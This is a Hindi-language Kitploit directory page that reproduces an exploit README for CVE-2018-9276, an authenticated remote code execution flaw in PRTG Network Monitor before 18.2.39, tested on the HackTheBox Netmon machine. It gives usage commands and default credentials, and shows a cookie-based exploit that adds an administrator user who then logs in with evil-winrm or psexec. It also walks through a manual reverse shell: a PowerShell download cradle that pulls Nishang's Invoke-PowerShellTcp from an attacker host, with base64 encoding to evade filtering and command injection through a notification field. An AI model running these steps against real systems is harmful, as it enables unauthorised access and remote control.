Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2018-9276 — CVE-2018-9276 PRTG < 18.2.39 रिवर्स शेल (Python3 समर्थन) | Kitploit
उपकरण/GitHubGitHub/alvinsmith-eroad/cve-2018-9276
पेलोड जनरेशनशोषणपार्श्व आंदोलनवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूल
GitHubalvinsmith-eroad/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 PRTG < 18.2.39 रिवर्स शेल (Python3 समर्थन)

रिपॉजिटरी देखें
2205 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-9276

CVE-2018-9276 PRTG < 18.2.39 रिवर्स शेल (Python3 समर्थन)

निर्भरताएँ

  • Impacket (python3 संस्करण)
  • Netcat
  • Msfvenom

उपयोग

git clone https://github.com/A1vinSmith/CVE-2018-9276.git

./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass
  1. शोषण करने के लिए क्रेडेंशियल्स आवश्यक हैं। डिफ़ॉल्ट क्रेडेंशियल prtgadmin:prtgadmin आज़माएँ। और उन्हें प्राप्त करने के लिए डेटाबेस या लॉग की जाँच करना उचित हो सकता है। https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data
  2. यदि पोर्ट पर कब्जा नहीं है तो --lport 445 आज़माएँ।
  3. कोड में कुछ ट्विस्टेड टिप्पणियाँ हैं। उनमें कुछ संशोधनों की आवश्यकता हो सकती है।
  4. सफल होने में कुछ प्रयास लग सकते हैं। लक्ष्य मशीन को रीबूट करना हमेशा एक अच्छा विकल्प है। विशेष रूप से जब आपका पेलोड कुछ प्रभाव डालता है।

परीक्षण कवरेज

HTB Netmon बॉक्स

OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00376-30821-30176-AA362
Original Install Date:     2/3/2019, 7:05:45 AM
System Boot Time:          7/28/2021, 9:02:41 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC

श्रेय

wildkindcc के python2 संस्करण के लिए एक बड़ा धन्यवाद https://github.com/wildkindcc/CVE-2018-9276

ज्ञान का विस्तार करें

मेटास्प्लॉइट का उपयोग करना

https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/

रिमोट कोड निष्पादन

https://www.exploit-db.com/exploits/46527

https://github.com/chcx/PRTG-Network-Monitor-RCE

उपयोग नमूना

शोषण करने के लिए क्रेडेंशियल्स आवश्यक हैं। पहले लॉगिन करें और नया उपयोगकर्ता जोड़ने के लिए प्रमाणित कुकी प्राप्त करें।

./prtg-exploit.sh -u http://10.10.10.10 -c "OCTOPUS1813713946=XXX"

// नए उपयोगकर्ता के रूप में evil-winrm के माध्यम से लॉगिन करें
evil-winrm -i 10.10.10.10 -u pentest -p 'P3nT3st!'
// या वैकल्पिक psexec.py
python3 /path/etc/impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.10

Screen Shot 2021-07-29 at 3 14 10 PM

नया उपयोगकर्ता जोड़े बिना उन्नत मैन्युअल शोषण

श्रेय HTB आधिकारिक राइटअप को जाता है
POC: https://www.codewatch.org/blog/?p=453 प्लस SMB का उपयोग करके रिवर्स शेल प्राप्त करना https://github.com/A1vinSmith/OSCP-PWK/wiki/Samba-SMB

यदि हम उपयोगकर्ता नहीं जोड़ना चाहते हैं, तो बेहतर OPSEC के लिए हम रिवर्स शेल प्राप्त कर सकते हैं। हालांकि HTML एन्कोडिंग के कारण कई वर्ण एन्कोड हो जाते हैं। हम पावरशेल बेस64 निष्पादन का उपयोग करके इसे बायपास कर सकते हैं। हमें एक बेस64 एन्कोडेड कमांड बनाने की आवश्यकता है। हालांकि, यह उस एन्कोडिंग में होना चाहिए जो विंडोज़ उपयोग करता है यानी UTF-16LE

❯ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.10.100/Invoke-PowerShellTcp.ps1' )" | iconv -t UTF-16LE | base64 -w0

SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA= 

हम इसे लक्ष्य एन्कोडिंग में बदलने के लिए iconv का उपयोग करते हैं और इस रिवर्स शेल को Nishang से निष्पादित करेंगे। https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

स्क्रिप्ट डाउनलोड करें और कमांड में अंतिम पंक्ति में echo करें।

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.100 -Port 4444' >> Invoke-PowerShellTcp.ps1

अब एक सरल HTTP सर्वर शुरू करें और एक नई सूचना बनाएँ

python3 -m http.server 80

सेटअप > खाता सेटिंग्स > सूचनाएँ पर क्लिक करें -> सबसे दाएं 'Add new notification' पर क्लिक करें बेल बटन पर क्लिक करके सूचना को ट्रिगर करें

abc.txt | powershell -enc SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA= 

Screen Shot 2021-07-29 at 4 08 01 PM

टूल डाउनलोड करें